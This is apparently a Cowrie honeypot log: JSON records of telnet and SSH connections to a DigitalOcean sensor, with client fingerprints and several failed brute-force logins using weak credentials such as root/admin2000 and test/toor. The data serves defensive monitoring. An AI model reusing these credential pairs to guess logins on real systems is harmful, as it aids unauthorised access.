{"eventid":"cowrie.session.connect","src_ip":"182.253.54.171","src_port":14215,"dst_ip":"10.17.0.5","dst_port":23,"session":"87fd60bcea3d","protocol":"telnet","message":"New connection: 182.253.54.171:14215 (10.17.0.5:23) [session: 87fd60bcea3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:42.875028Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":57124,"dst_ip":"159.203.135.109","dst_port":23,"session":"a46cc5d261a0","protocol":"telnet","message":"New connection: 185.26.126.47:57124 (159.203.135.109:23) [session: a46cc5d261a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:44.935016Z"}
{"eventid":"cowrie.session.closed","duration":31.430541276931763,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:47.746209Z","src_ip":"162.248.7.67","session":"0829681cd924","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.59863519668579,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:47.825429Z","src_ip":"162.248.7.67","session":"19e2aa710e30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.870290756225586,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:48.429507Z","src_ip":"162.248.7.67","session":"cedd4afd8392","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.561578035354614,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:49.703318Z","src_ip":"162.248.7.67","session":"f53db268032e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":36296,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6a05167dcae","protocol":"telnet","message":"New connection: 162.248.7.67:36296 (159.203.135.109:23) [session: d6a05167dcae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:50.234375Z"}
{"eventid":"cowrie.session.closed","duration":30.98650026321411,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:50.748726Z","src_ip":"162.248.7.67","session":"67565d834bcc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.391191720962524,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:51.883224Z","src_ip":"137.184.155.248","session":"ead22ff1e1fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.84747004508972,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:52.769034Z","src_ip":"162.248.7.67","session":"e013885785b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.517744541168213,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:54.936623Z","src_ip":"162.248.7.67","session":"bbf86e434747","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.444922924041748,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:56.926476Z","src_ip":"162.248.7.67","session":"63f9afa52dde","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.287266969680786,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:58.222165Z","src_ip":"185.26.126.47","session":"a46cc5d261a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":50578,"dst_ip":"159.203.135.109","dst_port":23,"session":"da4776f43d9c","protocol":"telnet","message":"New connection: 162.248.7.67:50578 (159.203.135.109:23) [session: da4776f43d9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:07:09.338951Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":50392,"dst_ip":"159.203.135.109","dst_port":23,"session":"62edd18cbd03","protocol":"telnet","message":"New connection: 162.248.7.67:50392 (159.203.135.109:23) [session: 62edd18cbd03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:07:09.926715Z"}
{"eventid":"cowrie.session.closed","duration":30.473281145095825,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:07:10.682630Z","src_ip":"162.248.7.67","session":"450ddad44d02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.464653491973877,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:07:12.701042Z","src_ip":"162.248.7.67","session":"1e38fdf416b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.57282829284668,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:07:20.807101Z","src_ip":"162.248.7.67","session":"d6a05167dcae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.157.98.118","src_port":43452,"dst_ip":"159.203.135.109","dst_port":22,"session":"f829035b506a","protocol":"ssh","message":"New connection: 43.157.98.118:43452 (159.203.135.109:22) [session: f829035b506a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:07:25.288842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:07:25.294139Z","src_ip":"43.157.98.118","session":"f829035b506a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:07:25.386975Z","src_ip":"43.157.98.118","session":"f829035b506a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"toor","message":"login attempt [test/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:07:26.089175Z","src_ip":"43.157.98.118","session":"f829035b506a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":33362,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d74d91bf0ac","protocol":"telnet","message":"New connection: 162.248.7.67:33362 (159.203.135.109:23) [session: 4d74d91bf0ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:07:26.107108Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:07:27.184625Z","src_ip":"43.157.98.118","session":"f829035b506a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.211.152.138","src_port":41420,"dst_ip":"159.203.135.109","dst_port":22,"session":"004cd77a834c","protocol":"ssh","message":"New connection: 102.211.152.138:41420 (159.203.135.109:22) [session: 004cd77a834c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:07:29.085630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:07:29.089627Z","src_ip":"102.211.152.138","session":"004cd77a834c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:07:29.197201Z","src_ip":"102.211.152.138","session":"004cd77a834c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"qwerty","message":"login attempt [user/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:07:29.661917Z","src_ip":"102.211.152.138","session":"004cd77a834c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:07:30.772868Z","src_ip":"102.211.152.138","session":"004cd77a834c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.476887941360474,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:07:40.403480Z","src_ip":"162.248.7.67","session":"62edd18cbd03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"203.90.110.186","src_port":54360,"dst_ip":"10.17.0.5","dst_port":22,"session":"2645b0ce8567","protocol":"ssh","message":"New connection: 203.90.110.186:54360 (10.17.0.5:22) [session: 2645b0ce8567]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:07:40.858635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:07:40.863736Z","src_ip":"203.90.110.186","session":"2645b0ce8567","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:07:41.080821Z","src_ip":"203.90.110.186","session":"2645b0ce8567","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.772491216659546,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:07:41.111350Z","src_ip":"162.248.7.67","session":"da4776f43d9c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"asdfg","message":"login attempt [ubuntu/asdfg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:07:41.977905Z","src_ip":"203.90.110.186","session":"2645b0ce8567","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":54638,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b71a3a44266","protocol":"telnet","message":"New connection: 137.184.155.248:54638 (10.17.0.5:23) [session: 7b71a3a44266]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:07:42.361449Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:07:43.197685Z","src_ip":"203.90.110.186","session":"2645b0ce8567","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.232","src_port":55668,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d8aed3acf77","protocol":"ssh","message":"New connection: 190.244.39.232:55668 (10.17.0.5:22) [session: 5d8aed3acf77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:07:51.639194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:07:51.643818Z","src_ip":"190.244.39.232","session":"5d8aed3acf77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:07:51.846761Z","src_ip":"190.244.39.232","session":"5d8aed3acf77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin2000","message":"login attempt [root/admin2000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:07:52.682076Z","src_ip":"190.244.39.232","session":"5d8aed3acf77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":50822,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5407d96c158","protocol":"telnet","message":"New connection: 162.248.7.67:50822 (159.203.135.109:23) [session: e5407d96c158]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:07:52.901649Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:07:53.887279Z","src_ip":"190.244.39.232","session":"5d8aed3acf77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.366962909698486,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:07:56.473943Z","src_ip":"162.248.7.67","session":"4d74d91bf0ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":55378,"dst_ip":"159.203.135.109","dst_port":23,"session":"277dd8fa1ff8","protocol":"telnet","message":"New connection: 162.248.7.67:55378 (159.203.135.109:23) [session: 277dd8fa1ff8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:07:59.956561Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":60482,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad61227e2830","protocol":"telnet","message":"New connection: 162.248.7.67:60482 (159.203.135.109:23) [session: ad61227e2830]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:08:06.579616Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":37262,"dst_ip":"159.203.135.109","dst_port":23,"session":"add06dbbc54a","protocol":"telnet","message":"New connection: 162.248.7.67:37262 (159.203.135.109:23) [session: add06dbbc54a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:08:13.793630Z"}
{"eventid":"cowrie.session.closed","duration":120.00189280509949,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:08:19.315406Z","src_ip":"182.253.54.171","session":"909cc9510e9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.157.98.118","src_port":47838,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f9175920636","protocol":"ssh","message":"New connection: 43.157.98.118:47838 (159.203.135.109:22) [session: 1f9175920636]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:08:19.956668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:08:19.961159Z","src_ip":"43.157.98.118","session":"1f9175920636","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:08:20.053151Z","src_ip":"43.157.98.118","session":"1f9175920636","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wang","message":"login attempt [root/wang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:08:20.759543Z","src_ip":"43.157.98.118","session":"1f9175920636","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:08:21.854963Z","src_ip":"43.157.98.118","session":"1f9175920636","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.34072184562683,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:08:24.242240Z","src_ip":"162.248.7.67","session":"e5407d96c158","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00143718719482,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:08:24.719549Z","src_ip":"182.253.54.171","session":"8a165f0f9371","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00169110298157,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:08:26.053777Z","src_ip":"182.253.54.171","session":"fa37b3e3304b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.34894371032715,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:08:27.710138Z","src_ip":"137.184.155.248","session":"7b71a3a44266","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.211.152.138","src_port":37262,"dst_ip":"159.203.135.109","dst_port":22,"session":"f420cb214435","protocol":"ssh","message":"New connection: 102.211.152.138:37262 (159.203.135.109:22) [session: f420cb214435]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:08:28.727578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:08:28.732426Z","src_ip":"102.211.152.138","session":"f420cb214435","protocol":"ssh"}
